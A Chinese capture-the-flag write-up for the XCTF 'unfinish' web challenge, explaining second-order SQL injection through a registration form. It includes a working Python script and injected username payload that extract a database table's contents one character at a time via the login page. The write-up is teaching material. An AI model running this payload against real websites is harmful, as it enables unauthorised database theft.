攻防世界web进阶题—unfinish
2023-02-18 16:29:32 时间
攻防世界web进阶题—unfinish
1、看一下题目提示SQL
2、打开题目看一下源码,没有问题
3、查一下网站的组成:php+Apache/2.4.7+Ubuntu
4、扫一下目录,扫到一个注册页面——/register.php
注册一个账号登录,登陆后的界面为
没有可利用的地方,返回上一步,注册,既然是SQL注入,那就尝试着绕过
登录后发现用户名为2
猜测此处的SQL语句为insert ........'username' 我们构造的语句执行为 insert......'1'+'1'
既然知道闭合方式,然后开始注入(二次注入)
用大佬写的poc,我注释一下帮助理解
import requests import re register_url = 'http://111.200.241.244:63310/register.php'#注册网址 login_url = 'http://111.200.241.244:63310/login.php'#登录网址 for i in range(1, 100): register_data = { 'email': '111@123.com%d' % i, 'username': "0' + ascii(substr((select * from flag) from %d for 1)) + '0" % i,#用数据库的加法来依次得到flag的每一位的ascii数值 'password': 'admin' } res = requests.post(url=register_url, data=register_data)#进行注册并修改用户名 login_data = { 'email': '111@123.com%d' % i, 'password': 'admin' } res_ = requests.post(url=login_url, data=login_data)#通过参数来登录 code = re.search(r'<span class="user-name">\s*(\d*)\s*</span>', res_.text)#正则表达式来获取登陆后的用户名 print(chr(int(code.group(1))), end='') #group()用来提出分组截获的字符串,()用来分组,int来转换字符类型,chr 返回值是当前整数对应的 ASCII 字符
得到flag
sql二次注入是什么?
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。也即是说,我注入了恶意数据,我引用恶意数据来进行SQL注入。
相关文章
- 一个lock锁就可以分出低中高水平的程序员对问题的处置方式
- 多角度让你彻底明白yield语法糖的用法和原理及在C#函数式编程中的作用
- Linq下有一个非常实用的SelectMany方法,很多人却不会用
- 当模板方法遇到了委托函数,你的代码又可以精简了
- 为什么要用内插字符串代替string.format
- 如何让多个不同类型的后端网站用一个nginx进行反向代理实际场景分析
- 8天入门docker系列 —— 第八天 让程序跑在swarm集群上
- 8天入门docker系列 —— 第七天 让你的container实现跨主机访问
- 8天入门docker系列 —— 第六天 搭建自己的私有镜像仓库Registry
- 8天入门docker系列 —— 第五天 使用aspnetcore小案例熟悉容器互联和docker-compose一键部署
- 8天入门docker系列 —— 第四天 使用aspnetcore小案例熟悉端口映射和挂载目录
- 8天入门docker系列 —— 第三天 使用aspnetcore小案例熟悉对镜像的操控
- 8天入门docker系列 —— 第二天 通过一个aspnetcore程序加深对容器的理解
- 8天入门docker系列 —— 第一天 docker出现前的困惑和简单介绍
- jenkins + supervisor + ansible 实现netcore程序的多机一键部署
- netcore使用 jenkins + supervisor 实现standalone下多副本自动化发布
- 看看redis中那些好玩的module (sql on redis, bf/cf on redis)
- 使用docker-compose 一键部署你的分布式调用链跟踪框架skywalking
- 你需要知道的这几种 asp.net core 修改默认端口的方式
- 使用kibana可视化报表实时监控你的应用程序,从日志中找出问题,解决问题